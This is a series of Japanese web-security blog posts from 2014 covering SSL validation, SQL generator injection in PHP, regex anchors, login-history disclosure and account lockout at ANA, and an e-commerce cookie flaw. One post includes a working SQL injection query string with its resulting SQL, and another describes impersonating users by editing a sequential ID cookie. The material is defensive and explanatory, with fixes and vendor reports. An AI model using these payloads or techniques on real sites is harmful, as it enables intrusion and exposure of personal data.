Android版KindleにおけるSSLサーバ証明書の検証不備の脆弱性CVE-2014-3908について報告しました。たまたまKindleの場合、脆弱性の影響はそれほど大きくないと考えますが、外出先等でよく使う機能に当該の問題があると、大きな影響となります。公衆無線LANを使う機会が多いという方は増えていると思いますが、公衆無線LANが偽AP(アクセスポイント)や事前共有鍵を用いた暗号解読(参照)による盗聴の危険性が常にあることを考えると、SSLによる暗号化が情報漏洩を防ぐ上では重要です。
皆様の開発されるアプリケーションにおかれましても、SSLサーバ証明書のコモンネームの検証ができているか確認を推奨いたします。

2014年9月1日月曜日

安全なウェブサイトの作り方セミナーin 2014 にて講演します

ディーアイエスソリューション株式会社と株式会社ジェイピー・セキュア共催のセミナー「安全なウェブサイトの作り方セミナー in 2014」で講演します。

日時:2014年9月5日(金)14:30~17:10 受付は14:00より
場所:ダイワボウ情報システム株式会社 東京支社1Fセミナールーム(東京都品川区)
費用:無料(申し込みはこちら
講演タイトル:安全なPHPアプリケーションの作り方2014

企業セミナーとしては珍しいと思いますが、安全なアプリケーションの開発方法を説明して欲しいという主催者からのご依頼でしたので、PHPカンファレンス関西2014の講演(45分間)を90分に引き伸ばしたロングバージョンをお話いたします。普段の徳丸の講演よりも入門的な内容で「最低これだけはやってね」というテーマです。
アジェンダは以下の通りです。
  • アプリケーションの脆弱性を対策しよう
    • クロスサイト・リクエストフォージェリ(CSRF)
    • クロスサイト・スクリプティング(XSS)
    • SQLインジェクション
  • プラットフォームの脆弱性を対策しよう
    • PHPの脆弱性対策
    • SNSやphpMyAdminの脆弱性対策
  • パスワードを保護しよう
    • パスワードリスト攻撃の傾向と対策
    • ソルトつきHASHでのパスワード保存
「アプリケーションの脆弱性」の方では、短文投稿サイトに対する「なりすまし投稿」をCSRF、XSS、SQLインジェクションの三種で実演します。
「プラットフォームの脆弱性」とパスワード保護の説明では、PHPの脆弱性とphpMyAdmin(予定)の脆弱性およびパスワードリスト攻撃を用いて、架空のECサイトに対するクラッキングをやってみます。
おっと、もちろん対策方法も…←「も」ではなくてこちらがメインですがw

それでは、よろしくお願いいたします。

※セミナー終了後の抽選会にて、20名の方に拙著「体系的に学ぶ安全なWebアプリケーションの作り方」が贈呈されるそうです。

2014年8月25日月曜日

模倣サイトとして各所から注意喚起が出されているサイトについて徳丸さんに聞いてみた

高橋: こんにちは、高橋です。今日は徳丸さんをお招きして、今話題の『模倣サイトとして各所から注意喚起が出されているサイト』についてお話を伺います。徳丸さん、よろしくお願いします。

徳丸: 徳丸です。よろしくお願いします。

高橋: まず問題のサイトですが、NTT東日本、NTTドコモ、日本銀行、外務省、総務省など様々なサイトを模倣したサイトが見つかっていて、各社、各省庁が注意喚起をしているというものです。詳しくは、北河拓士さんのまとめをごらんください。

徳丸: これ、総務省のサイトだと、http://www.soumu.go.jp.○○○.org/ のように、ドメイン名の先頭が本物と同じだし、中身も同一だしで、見た人がびっくりしたのでしょうね。

高橋: はい。これはパクリのサイトではないのですか?

徳丸: パクリではありません。PROXYサーバーの一種で、元のサイトのアクセスして、その内容をそのまま表示しているだけです。パクリではなく中継ですね。詳しくは、piyokangoさんがサイト運営者に取材した日記を参照ください。

高橋: なんのためにあるのでしょうか?

徳丸: おそらく悪意などはなく、利用者の便宜のためであると推測されます。

高橋: 便宜とはどのような?

徳丸: piyokangoさんの取材によると、運営者は「ロシアのインターネット検閲回避のために開発したプロキシサービスである」としているようですね。

高橋: いま出ている注意喚起は、閲覧によるウイルス感染とか、フィッシング的に個人情報を盗まれるリスクを説明しているようですが…

徳丸: はい。しかし、検閲回避のサービスであるという説明は信じられそうですし、今の時点で大騒ぎするようなものではないですよ。

高橋: なぜでしょうか? 懸念が少しでもあれば、早めに警告した方がよいと思いますが。

徳丸: それがそうでもないんです。まず、このサイトにアクセスする人が一人もいないとしたらどうでしょうか? ウイルス感染や個人情報漏洩は起こると思いますか?

高橋: それはないですね。しかし、今後うっかり閲覧してしまう人がいるから、そういう事故も起きるのですよね。

徳丸: そこです。一般利用者がどのような経路でこのサイトにアクセスするかを考えてみましよう。

高橋: お願いします。

徳丸: このサイトに限らず、一般の利用者が未知の(悪意のある)サイトを閲覧するには、以下の三通りの経路があります。

  1. メールやtwitterなどから未知のサイトに誘導する
  2. 正規サイトと一文字違いなど紛らわしいURLで打ち間違いからアクセスされる
  3. 検索サイトから遷移する

高橋: 順にご説明いただけますか?

徳丸: はい。まず1のメールやtwitterからの誘導ですが、フィッシング等の罠サイトに誘導する定番の手法です。

高橋: 今はなくても、今後そういう誘導が現れるのではないですか?

徳丸: 絶対にないとは言い切れませんが、もしそうしたいのであれば今の段階からサイトを公開して、各サイトから注意喚起など対策されてしまうのは、攻撃側のメリットがまったくないですね。

高橋: それは、単に攻撃者がお馬鹿さんということで、絶対にないとは言い切れないのでは?

徳丸: はい。しかし、このサイトに限らず本物そっくりのフィッシングサイトは絶えず出現しているわけで、その都度サイトをつぶしたり、ブラウザ側のフィッシング対策機能などで対処しているわけです。万一フィッシング等に使われ始めてから対処すればよいでしょう。

高橋: 既に怪しいサイトとして出現しているのですから、今のうちから手を打った方がよいのでは?

徳丸: いやいや、それはキリがないですよ。仮に私が悪い人だったら、〇〇.org が怪しいと見せかけておいて、本番の罠サイトは 〇〇.jp に置きますよ。フィッシングに引っかかるような方は、その程度のひねり方でもひっかかてしまいますからね。

高橋: 徳丸さん……悪い人だったのですね。

徳丸: 仮定の話ですっ。

高橋: ちょっとからかっただけですよw でも、早めに注意喚起することが悪いとはまでは思えませんね。

徳丸: 後で、そうするデメリットが出てきますので、少しお待ちください。

高橋: 分かりました。2番はどうですか?

徳丸: これはタイポスクワッティングと言われる手法で、入力間違いしやすいスペルのドメイン名を取得して、罠に誘導するというものですが、ドメイン名の先頭が一致しているとはいえ、入力間違いで閲覧してしまうとは思えませんね。

高橋: 私もそう思います。それでは、3 をお願いします。

徳丸: メールなどで誘導しないと仮定すると、もっともありそうな流入経路は検索エンジンですよね。

高橋: はい、そう思います。Google検索とかでたどり着くサイトが多いですよね。

徳丸: そうなんです。そうすると、今回の件で該当サイトが話題になり、ブログサイトからリンクされる例が増えると、どんどん検索順位が上がってしまう可能性があるのですよね。

高橋: すると、どうなりますか?

徳丸: たまたま、とある検索キーワードでヒットしたサイトが、問題のサイトである確率が高まるかもしれません。

高橋: そうなんですか? 検索エンジンに登録されないようにrobots.txtが設置してあったりしないのですか?

徳丸: 実はしてあります。すべてのユーザーエージェントに対して「Disallow: /」の指定がされていますが、これはこのサイトの悪意のなさの表れと言えます。しかし、仮に悪意があるのであれば、将来この設定を変えるかもしれませんよ

高橋: どうなりますか?

徳丸: 突然検索サイトの上位に躍り出て、フィッシングなどの悪用に使われるかもしれません。

高橋: やっぱり悪いサイトじゃないですか!

徳丸: いやいや、仮定の話ですよ。言いたいことは、このサイトの悪意を仮定するのであれば、取り上げずにそっとしておいたほうがよいということです。

高橋: 先ほど言っておられた「デメリット」とはこのことですね。

徳丸: そうです。対策するなら、別の形の方がいいです。

高橋: 対策にはどのようなものがありますか?

徳丸: まずはフィッシング一般に向けた対策がいいでしょう。自社のドメイン名を広く告知する、キャンペーン毎にドメイン名を取得することはできるだけ避けて、自社のドメイン名のサブドメインにサイトを集める、予算に余裕があればEV SSLにする、などです。

高橋: そっとしつつ、サイトの内容をぱくられない方法はありませんか?

徳丸: あります。PROXYサイトからの通信を遮断すれば、ぱくられることはありません。詳しくはこちらのサイトの説明をお読みください。

高橋: 分かりました。それでは、最後にまとめていただけますか?

徳丸: はい。問題のサイトはロシアの検閲を回避するために設置されたPROXYサービスであり、現時点で悪意を想定する理由は見当たりません。将来悪意をもつことを想定したとしても、現時点で注意喚起することは賢明とは言えず、そうするデメリットもある、ということですね。

高橋: ありがとうございました。これで『模倣サイトとして各所から注意喚起が出されているサイト』に関する徳丸さんへのインタビューは終わりです。みなさま、ごきげんよう。

※注: このエントリはインタビュー仕立ての記事であり、文責はすべて徳丸にあります。高橋は架空の人物です。

2014年7月7日月曜日

JSON SQL Injection、PHPならJSONなしでもできるよ

DeNAの奥さんと、はるぷさんがJSON SQL Injectionについて公表されています。
上記の記事は、主にPerlスクリプトがJSONデータを受け取るシナリオで説明されています。もちろん、この組み合わせに限定したはなしではないわけで、それではPHPではどうだろうと思い調べてみました。

JSON SQL Injectionとは

以下、はるぷさんの「不正なJSONデータによる…」にしたがってJSON SQL Injectionについて説明します。
Perl向けのSQLジェネレータの一つであるSQL::Makerにおいて、以下のスクリプトを想定します。
my ($sql, @bind) = $builder->select(
    "table_name", ["*"],
    {"name"=>$user_name});
ここで、$user_nameとして 'yamada' を与えると、以下のSQL文が生成されます。
SQL文: SELECT * FROM `table_name` WHERE (`name` = ?)
変数: yamada
$user_nameが外部からJSON形式で渡ってくる場合(APIなどのように)を想定すると、ここの部分のJSONデータが {"key":"value"} となっていると、SQL::Makerは、keyをWHERE句の比較演算子とみなし、以下のSQL文を生成します。
SQL文: SELECT * FROM `table_name` WHERE (`name` KEY ?)
変数: value
ここで、keyの部分は任意の文字列を書くことができ、それが *そのまま* SQL文に流し込まれます。この仕様を悪用すると、SQL文を本来意図しない形に改変できてしまいます。これがJSON SQL Injectionです。


PHPではどうか?

それでは、我らがPHPではどうでしょうか。
@memememomoさんがSQL::MakerをPHPに移植されておられまして(参照)、これを使うと、JSON SQL Injectionが再現できます。
$builder = new SQL_Maker(array('driver' => 'mysql'));
list($sql, $binds) = $builder->select('table_name', array('*'), array('name' => $user_name));
ここで、$user_nameが'yamada'の場合、以下のようにPerl版とまったく同じ結果になります。
SQL文: SELECT * FROM `table_name` WHERE (`name` = ?)
変数: yamada
次に、$user_name = array('key' => 'value'); とすると、生成されるSQL文は下記のとおりです。
SELECT * FROM `table_name` WHERE (`name` key ?)
すなわち、JSONのキーとして指定した値が *そのまま* SQL文に注入されます。JSON SQL InjectionがPHPでも再現出来ました。
ここでは、PHP版のSQL::Makerを題材として使用させていただきましたが、後述するように、他にも同様の挙動をしめすSQLジェネレータを確認しています。

PHPの場合はJSONは必要ない

しかし、上記のスクリプトにおいて、SQLインジェクションを起こすためには、入力値がJSON形式である必要はありません。$user_nameが連想配列(文字列をキーとした配列)であれば良いわけですので、PHPの場合であれば、以下のようにHTMLフォームからでも指定は可能です。
先のスクリプトで、$user_name = $_GET['user_name'] としていた場合、以下のクエリ文字列でスクリプトを呼び出すと…
http://example.jp/query.php?user_name[key]=value
生成されるSQL文は下記となります。
SELECT * FROM `table_name` WHERE (`name` key ?)
このため、keyの箇所に任意のSQL断片を指定することにより、SQLインジェクション攻撃が可能となることを確認いたしました。一例を挙げます。
http://example.jp/query.php?user_name[>''+or+1%3d1)%23]=value
生成されるSQL文は下記となります。
SELECT * FROM `table_name` WHERE (`name` >'' or 1=1)# ?)
PHPの場合、JSONを使わなくてもJSON SQL Injectionができてしまう(*1)ことになり、該当するSQLジェネレータを使っている場合、広範囲のアプリケーションが脆弱になる可能性があります。

*1: この場合、JSON SQL Injectionという呼称は適切でないと考えられます。

対策

PHP版のSQL::Makerについては、対策版が公開されています。本家Perl版と同様に、strictモードが導入されました。memememomoさん、対応ありがとうございます。
これは以下のように使用します。
$builder = new SQL_Maker(array('driver' => 'mysql', 'strict' => 1));
$user_name = array('key' => 'value');
list($sql, $binds) = $builder->select('table_name', array('*'), array('name' => $user_name));
この際の実行結果は下記のように例外が発生します。
PHP Fatal error:  Uncaught exception 'Exception' with message 'cannot pass in a ref as argument in strict mode' in /home/ockeghem/php-SQL-Maker-master/lib/SQL/Maker/Condition.php:52
strictモードが使えない場合は、条件設定に与える引数の型チェックを行う方法があります。
  $user_name = $_GET['user_name'];
  if (! is_string($user_name)) {
    # エラー処理
    exit;
  }

他のSQLジェネレータの状況

SQL::AbstractのPHPへの移植版についても同種の問題があることが分かっています。作者に連絡をとったところ、古く個人的なプロジェクトであり、かつ開発者自身の使い方では strict モードに移行すると過去のスクリプトが動かなくなると言うことで、strictモードの対応は今のところないということでした。元々、ライブラリ側の脆弱性とまでは言えない問題ですので、これは仕方ないと考えます。呼び出し側での対応をするのがよいでしょう。

FluentPDOの場合、任意のSQL断片を注入することはできないようですが、パラメータとして配列を与えることによって、等号ではなく IN 演算子を使うものに変更はできるようです。以下のスクリプトで説明します。
$pdo = new PDO("mysql:dbname=...
$fpdo = new FluentPDO($pdo);  // FluentPDOオブジェクトの生成
$query = $fpdo->from('user')->where('id', $_GET['id']);
まず通常のケースとして、クエリ文字列を ?id=yamada とすると、生成されるSQL文は以下となります。yamadaはバインドする値として指定されます。
SELECT user.* FROM user WHERE id = ?
次に、?id[]=yamada&id[]=sato とすると、生成されるSQL文は以下の通りです。
SELECT user.* FROM user WHERE id IN ('yamada', 'sato')
これにより、特定IDの存在の有無を確認するようなケースでは、一度に多数の候補を試すことができることから、少ないリクエストでの探索が可能になります。


まとめ

SQLジェネレータが生成するSQL文について、PHPを使う場合は、JSONを用いていない場合でも、JSON SQL Injectionと類似の問題が発生する可能性があることを紹介しました。ライブラリの特性・仕様を理解した上で、正しい使い方により、脆弱性の混入を防ぎましょう。

また、私1人の調査には限界がありますので、類似の問題を見つけた方は教えて頂けると幸いです。

2014年4月30日水曜日

2014年4月11日金曜日

PHP考古学: PHP4.2.xではmb_eregは複数行モードで動作していた

大垣さんのブログエントリに刺激を得て、古いmb_eregの挙動を調査しました。その結果、 PHP4.2.x上のmb_eregは複数行モードで動作していたことが分かりましたので報告します。

前回までのまとめ

正規表現によるバリデーションでは ^ と $ ではなく \A と \z を使おう」にて、Ruby、Perl、PHPの正規表現では、^ と $ は、「行」の先頭と末尾を示していて、文字列の先頭と末尾を指定するには、\A と \z を使うべきであることを説明しました。そして、Rubyの場合はデフォルトが複数行モードであるので、^○○○$ という形で全体一致検索を指定したつもりでも、簡単にチェックをすり抜け重大な脆弱性に直結します。一方、PerlやPHPの正規表現はデフォルトでは単一行モードであるので、文字列末尾の改行をチェックできないという問題はあるものの、重大な脆弱性に直結するケースはあまりないと考えられることを指摘しました。

古いバージョンのmb_eregはデフォルトが複数行モードだった?

ところが昨日大垣さんの書かれたエントリ「なぜRubyと違い、PHPの正規表現で^$の利用は致命的な問題ではないのか?」には以下のように書かれていました。
実は古いmbregex(忘れるくらい古い4.xの時代の話です)はRubyと全く同じ動作をしていました。この動作はセキュリティ上の問題であるとして、現在の^は\A(データの先頭)と同じ、$は\Z(改行を含む終端にマッチ)に変更されました。
私がPHPに親しむようになったのはPHP5.2以降のことなので、「忘れるくらい古い4.xの時代の話」は知らないのですが、どうしても知りたいと思い調べてみました。
といっても、私の手元にはphpallにて PHP4.4.9とPHP5.0.0以降のバイナリはすべてありますが、それより古いPHPはありません。そこで、この機会に、すべてのPHP4もビルドすることを決意いたしました。phpall完全版とでも言いましょうかw

phall完全版

phpall完全版と言っても、ここからPHPの古いソースをダウンロードしてビルドするだけです。@hnwさんが指摘するように、PHP5の古いバージョンをビルドするのはコツがいります。
実は、PHP 5.0.0-5.0.3はgcc4 でコンパイルできないという問題点があります。gcc4でコンパイルするためには、http://bugs.php.net/bug.php?id=32150 の通り、Zend/zend_modules.h を修正する必要があります。
こんなときgcc3でコンパイルするのも一つの手ですが、MacOSX10.4や10.5ではgcc3が提供されていません。今後このような環境が増えてくるのではないでしょうか。
また、PHP 5.2.0-5.2.3は./configureの途中で下記のように怒られてしまいます。
configure: error: installation or configuration problem: C++ compiler cannot create executables.
原因は追いかけていませんが、autoconfでconfigureスクリプトを作り直すと問題なくバイナリのビルドまで通ります。
phpallコマンドでPHPの全バージョンの挙動を試すより引用
後者のPHP 5.2.0-5.2.3の問題については、独自の調査により新たな知見を得ております。お恥ずかしいことに実験ノートをきちんとつけていなかったので、いつ・どのように発見したかを示す証拠はないのですが、以下のようにg++を導入することにより、エラーなくビルドできるようになります(Ubuntu 12.04LTSにて確認)。
$ sudo apt-get install g++
この方法で、私はこれまでに200回2回ほどPHP5.2.0-5.2.3のビルドに成功しています。まぁ、C++コンパイラが動かないよというメッセージに素直に従っただけということですがw
PHP4については、gccのバージョンが上がりチェックが厳しくなったためにエラーになる箇所が複数ありました。具体的には、static変数をextern宣言している等です。これらは、ソースの方を修正しました。
先のアーカイブにはPHP3.0.18のソースもあったので、ついでにこれもビルドしました。ということで、PHP3.0.18、PHP4全て、PHP5全てを含む「phpall完全版」の誕生です。

試してみる

以下のソースで試してみました。
<?php
  $a = "abc\n123\ndef";
  var_dump(mb_ereg('^[0-9]+$', $a));
実行結果は下記となります。mb_eregが実装されたのはPHP 4.2.0以降なので、該当バージョンのみ示します。
$ phpall mbereg.php
php-4.2.0: int(1)
php-4.2.1: int(1)
php-4.2.2: int(1)
php-4.2.3: int(1)
php-4.3.0: bool(false)
php-4.3.1: bool(false)
php-4.3.2: bool(false)
...
php-4.3.11: bool(false)
php-4.4.0: bool(false)
...
php-4.4.9: bool(false)
php-5.0.0: bool(false)
...
php-5.5.11: bool(false)
php-5.6.0beta1: bool(false)
なんということでしょう! PHP 4.2.xでは、大垣さんの指摘のように、mb_eregが複数行モードで動いていたようです。
PHP 4.3.0でこの仕様は単一行モードに変更されていますが、その理由は、大垣さんの言われる「セキュリティ上の問題」というよりは、eregと仕様を合わせたということではないでしょうか。mb_eregはeregからの移行を想定していると思われますし、mbstring.func_overload = 4 とすると、ereg関数の呼び出しがmb_eregにオーバーロードされるわけで、eregとの互換性は重要です。

この問題による影響と対策

PHP 4.2.xを使っている環境では、mb_eregの全体一致検索に ^ と $ を使っていると、前述のような脆弱性となる可能性があります。^ と $ ではなく、\A と \z を使って全体一致検索を指定するようにしてください…というより、PHP 4.2はとっくの昔のサポートが終了しているので、最新のPHPに移行するようにしましょう。
…と、ここで気になってPHP 4.2がリリースされた時期を調べてみたのですが、
  • PHP4.2.0     2002年4月22日 
  • Windows XP 2001年10月25日(OEM)
いまとなっては化石のようなPHP4.2ですが、リリースされた時期はWindows XPよりも *新しい* のですね。いかに、Windows XPが長くサポートされてきたかをあらためて感じました。

まとめ

大垣さんの指摘に刺激を受けて、古いmb_eregの挙動を調査しました。その結果、PHP4.2.xのmb_eregは複数行モードで動作することを確認しました。
この結果に関係なく、全体一致検索には、\A と \z を用いるようにしましょう。また、PHP4.xを使っているサイト(まだ結構あります)は早急にPHPの最新版に移行しましょう。

2014年4月1日火曜日

2014年エイプリルフール跡地


2014年のエイプリルフールは終了致しました。

2014年3月31日月曜日

ANAの個人情報開示請求により1ヶ月間のログイン履歴が確認できた

先日のエントリ「ANAマイレージクラブのログインを少しでも安全にする運用を考えてみたが見つからない」で紹介したように、ANAの個人情報開示手続きにてAMCホームページへのアクセス履歴が開示されるということなので申し込んでおりましたが、昨日封書にて到着しましたので皆様の参考のために公開します。
ますば、送付案内です。


続いて、アクセス履歴。


これを見て、以下の疑問が生じました。

アクセス履歴の項目

IPアドレスについても開示されると思っていましたが、「※IPアドレスにつきましては、社内規定に則り開示をすることは出来かねます。」とありますが、上記の情報だけだと、自分のアクセスなのか、第三者によるものなのかの判別が難しいと考えます。
Yahoo!のログイン履歴にはIPアドレスが表示されます(参考)し、Googleの最近のアクティビティには市区町村までの地域が表示されます(参考)。
表示されるIPアドレスは原則として自分のものであり、仮に自分以外のIPアドレスがあれば、それは不正アクセスであることから、IPアドレスを開示しない合理的理由が分かりません。
ただし、IPアドレスも加えて、上記にある項目は私が例示として示した項目ですので、さまざまな項目を明記すれば、さらなる情報が開示される可能性はあります。

開示期間について

「過去一ヶ月分のアクセス履歴」とあるものの、いつからいつまでの履歴であるのかが分かりません。上記には、3/11~3/15の履歴が表示されていますが、3月16日移行も私はログインをしています。そこで、開示請求書を見直してみると、「ご請求日」の欄が3月15日となっていました。
これで分かりました。「ご請求日」を起点として、過去1ヶ月間のログイン履歴を表示しているということでしょう。
ということは、2月15日から3月10日までは誰もログインしていないということが確認できたことになります。それより前のことは分かりませんが、この期間中には不正ログインは受けていないことが確認できました。

ということで、あまり期待していなかったANAの個人情報開示請求ですが、はなはだ不満は残るものの、当初の目的としていた情報は一応得られたことになります。
なお、AMCサービスセンターに電話で確認したところでは、通常個人情報請求には500円が必要ですが、今回の不正ログインに関しては、例外として、4月末までは無料で対応しているとのことです。
上記の納得のいかない点については、開示請求書の書き方を変えて、昨日再度請求していますので、届き次第報告いたします。

2014年3月28日金曜日

とあるECサイトのアクセス制御不備

商売柄、脆弱性や侵入事件のニュースがあると背景を調べることが多いのですが、このエントリは、侵入されたサイトを見に行って発見した脆弱性のお話です。
とあるECサイトが外部から侵入されたというニュースを見て、再開後のECサイトを見に行きました。普通に会員登録してログインしてみると、セッションIDの他に気になるクッキーが発行されていました(クッキーの名前と値は変えてあります)。
Set-Cookie: login=123456; path=/
Set-Cookie: loginflg=1; path=/
直感的に、login=123456は内部的なユーザID(ユーザ番号)、loginflg=1はログイン済みであることを示すフラグのように思えました。しかし、まさかね。今時それはありえないアルよ。
そこで検証のために、先ほどとは別のユーザを登録してログインしてみました。すると、以下のクッキーが発行されるではありませんか。
Set-Cookie: login=123457; path=/
Set-Cookie: loginflg=1; path=/
なんということでしょう。loginというクッキーが、1つインクリメントされているではありませんか。この段階で、loginの示す値が内部的なユーザID(ユーザ番号)であることは確実のように思えます。
外部に晒す必要のない会員番号を公開している時点で、よろしくない状況ではあるのですが、まだこの段階では致命的な脆弱性であるとまでは言えません。たまに、意味ありげなクッキーを吐いていても実際には使っていなかったり、表示のためだけに使っている場合もあるからです。

そこで、ブラウザのすべてのクッキーを削除した後上記のクッキー(123456等)のみを再セットして、会員情報を表示するページを閲覧してみました。すると、私の個人情報が表示されるではありませんか。次に、loginを123457に変更して個人情報ページを閲覧すると、2番目に登録した方の個人情報が閲覧できました。うーん、これで確定のようですね。クッキーloginの数字を変えるだけで任意のユーザになりすましができてしまいます。しかも、この数字は連番ですので、推測が容易です。

私は拙著「体系的に学ぶ 安全なWebアプリケーションの作り方 脆弱性が生まれる原理と対策の実践 」にて、自動ログインの危険な実装例として以下の説明を書きました。

体系的に学ぶ 安全なWebアプリケーションの作り方 脆弱性が生まれる原理と対策の実践 P330より引用

引用した箇所は自動ログインとしての説明であり、上記はログイン結果の保持という違いはありますが、「かなり極端な例」として紹介した実装を21世紀の今日、ECサイトのログインで見かけたというのはいささか驚きでした。

では、どうすればよいかですが、読者の皆様には今さら説明する必要もないでしょうが、セッション変数にログインユーザを保持すれば問題ありません。クッキーとは異なり、セッション変数は第三者からも利用者からも変更はできないからです。

ということで、ここから得られる教訓は下記の通りです。
  • 認証後にログインユーザ名を保持するにはクッキー等ではなくセッション変数を使おう
  • 侵入被害にあった後サイトを再開する前に、セキュリティの専門家にチェックしてもらおう
なお、この脆弱性はIPAに届け出を行い、既に修正されていることを確認済みです(取扱い番号 IPA#19289197)。届け出の際の脆弱性は「セッション管理の不備」としていましたが、上記の実装だと「アクセス制御の不備」の方が妥当な気がします。容易に推定できる番号だけで認証状態になってしまうからです。

2014年3月17日月曜日

ANAマイレージクラブのログインを少しでも安全にする運用を考えてみたが見つからない

既に「ANAの不正ログイン事件について徳丸さんに聞いてみた」で書いたように、ANAマイレージクラブ(AMC)のWebサイトに不正アクセスがあり、利用者 9人、計112万マイルがiTunesギフトコードに不正交換されました。ITproの記事を引用します。
ANAに申告があった9人分、計112万マイルについて、3月7~9日の間にiTunesギフトコードへ交換されていたことを確認したという。【中略】同社は10日18時30分以降、iTunesギフトコードへの交換サービスを停止した。不正ログインの手段など攻撃の詳細や、他にも不正ログインがあったかについては調査中という。
ニュース - ANAマイレージクラブへの不正ログインで112万マイルが詐取、住所なども閲覧可能に:ITproより引用
攻撃があってから一週間たちますが、まだANAに申告があった利用者の被害しか発表されていません。上記9名以外にも、マイル不正交換があった可能性はありますので、AMC利用者の方は一度確認をお勧めします。
さらに、不正交換はないものの個人情報が流失した利用者は相当数あると想定されるものの、攻撃者が単に不正ログインして、個人情報を閲覧されただけでは、利用者には確認の手段がありません。

ANAマイレージクラブ・サービスセンターに電話してみた

では、私のアカウントは大丈夫なのだろうかと、こちらのサイトで案内されていたANAマイレージクラブ・サービスセンターに電話で問い合わせてみました。「私の個人情報は漏えいしてないのですか? それは分からないのですか? 」と問い合わせたところ、上席に替わりますということになり、上席なる方の説明によると、個人情報開示手続きにて、ある範囲のアクセス履歴を開示できるということでした。
電話で聞く限り、開示手続きにて開示される履歴は、マイル交換や個人情報の変更に関するもので、それは敢えて開示請求しなくてもメールにより都度通知されるので、利用者も把握できる情報です。利用者が把握できない情報として、IPアドレスやUser-Agentの情報も開示されるようですが…
一方、単にログインしただけとか、ログインした後個人情報を閲覧しただけでは開示の対象にならないようです。さらに開示の期間は直近の1ヶ月間と説明されました。これでは意味がないなと思いつつ、どのような情報が開示されるのか開示請求をかけてみました。結果については、別途報告したいと思います。

AMCサイトはパスワードの定期的変更の効果が多少ある

先のブログエントリで書いたように、AMCサイトは以下の困った特徴があります。
  • パスワードが4桁数字であり不正ログインの可能性が高い
  • 他者がログインに成功しても、それを利用者が知る手段がない
  • 不正ログインがあってもサイト運営者がそれを検知できていない(実績として)
  • 不正ログインに成功しても直ちに悪用されず、後からマイル交換等の悪用をする動機が攻撃者側にある
最後の項について補足します。先のエントリでは、攻撃者はパスワード収集とマイル交換のフェーズを分けて実行したのではないかという推測を書きました。これに加えて、不正ログインに成功した時点ではマイルは交換の対象になっていないが、数ヶ月後であればマイルが増えていて交換の対象になる可能性があります。すなわち、直ちに悪用しないで、後から悪用する動機が攻撃者にはあることになります。
AMCサイトの上記の特性から、AMCサイトではパスワードの定期的変更が一定の効果を持つことになります。これは、以前「パスワードの定期的変更について徳丸さんに聞いてみた(2)」で、「理論的には、次の条件を満たすサイトを使わないといけない場合は、パスワードの定期的変更が効果がなくはない」と指摘した通りです。すなわち、
  • 不正ログインの確率が下がる訳ではない
  • 個人情報が漏えいする確率は変わらない
  • 不正ログイン時点でマイルを直ちに交換せず後からマイル交換するという行為を防げる可能性がある
ということで、効果も、確実性も高い訳ではありませんが、一定の効果があることは認めなければなりません。しかし、これは、パスワード定期的変更が一般的に効果があるという証拠ではありません。むしろ、「AMCサイトは、パスワードの定期的変更くらいしか防衛手段がない残念なサイト」である証拠であると私は考えます。

ただし、上記シナリオに限定すると、パスワードの定期的変更よりも効果的な防御策があります。それは、
  • マイルが貯まったら直ちに交換する
という方法です。マイルが貯まるタイミングは利用者が分かるので、パスワードの定期的変更よりも確実です。ただし、「マイルをたくさん貯めてプレミアムなサービスと交換したい」という希望はあきらめなければなりません。たくさん貯まる前に窃取される可能性があるからです。その場合はパスワードの定期的変更も、あまり意味はないかもしれません。マイルが一定量貯まっていれば、その時点で不正交換されてしまうかもしれないからです。

そもそも、マイルの不正交換が心配なのであれば、不正交換があった時点で運営者に申告して補填してもらうことが筋でしょう。ということで、パスワードの定期的変更を推奨するわけではありません。

アカウントロックを試してみた

既に色々なところで書かれているように、AMCサイトにはアカウントロックの仕組みが実装されていますが、何回パスワードを間違えた段階でロックされるかは書かれていません。そこで、実験で試してみました。
自分のID(お客様番号)を固定して、パスワードの方を変えながら試していくと、10回パスワードを間違えた後に以下の画面が表示されました。


この画面は固定のURLのようです。

アカウントがロックされても利用者にはメール通知されないようです。これは問題だと感じます。第三者から攻撃されていることを、利用者は知る術がないことになります。

次に、アカウントロックの解除はどうすればよいでしょうか。具体的な方法は書いてありませんが、上記の画面には、意味ありげに「パスワードを変更される場合はこちらへどうぞ。」と書かれていますので、こちらに従ってパスワードリセットしたところ、アカウントロックも解除されました。これ自体は妥当な仕様でしょう。正当な利用者がアカウントをロックさせてしまうのは、パスワードが分からなくなってしまったからという理由が多そうで、その場合はパスワードリセットすることで、ロックも解除されるという仕様のようです。
なお、パスワードリセットのためには、登録済みメールアドレスでメールが受け取れることと、会員番号、電話番号、生年月日が必要ですので、試してみる方は上記を確認してから…というより、アカウントロックを試す場合は、先にパスワードリセットができることを確認してからの方が無難でしょう。

認証連携を積極活用するという裏技の検討

前にも書きましたが、AMCサイトはGoogle等と認証連携していることを崎村さんから教えていただきました。
「Webパスワードをオフにする機能」は現時点ではないわけですが、facebookの私のウォールでの会話(非公開)で @keikuma さんから以下の指摘をいただきました。非公開の会話ですので、keikumaさんの許可を得て以下に引用します。
これ、ANAに電話したんですが、同一アカウントに対する試行回数の制限は入っているのだそうです。認証連携があるので、試行回数制限でパスワードをロックしたまま、連携認証ができないかなぁと思ったのですが、今、ちょうど出張の準備が忙しくて、ロックされて面倒な事になると困るので、試せていません。
利用者がわざとアカウントロックした状態で、Google等の認証連携でログインできれば、認証連携のみでの運用ができ、2段階認証等も活用できるというアイデアです。このアイデアについても、先にアカウントロックを試したついでに確認してみました。その結果、@keikumaさんの予想(希望)通り、
  • パスワード間違いでアカウントロックされた状態でも、認証連携ではログインできる
ことを確認しました。
ただし、おそらくサイト運営者の意図した使い方ではないと思われるので、以下に書くような副作用も予想されます。
  • アカウントロックされた状態で認証連携でログインできることは、バグとして将来変更になる可能性がある
  • アカウントロックは、利用者が解除しなくても、一定期間経つと自動的に解除される可能性がある
  • あまりに長期間アカウントロック状態が続くと、アカウントが凍結される可能性がある
ということで、「こうするとよい」という意味ではなく、あくまで調査結果の報告という形でみなさまの参考情報として紹介します。
【追記】公開直後に気づきましたが、意図的にアカウントロックしておいて、使う時はパスワードリセットして使う(認証連携が使えればそちらを使う)という運用はありそうです…が、パスワードリセットしてサイトを使った後は再度アカウントをロックしなければならず、「怪しい行為」として疑われるかもしれません。疑われないにしても、自動的にアカウントロックが解除される可能性はあり、その場合は、この運用は難しいといえます。

まとめ

AMCサイトのログインの仕様について調査した内容を以下にまとめます。
  • AMCサイトのアクセス履歴は個人情報開示請求にて一定の内容が開示される
  • AMCサイトはパスワード10回間違いでアカウントロックになる
  • アカウントロックのメール通知は来ない
  • アカウントロックはパスワードリセットによりロック解除される
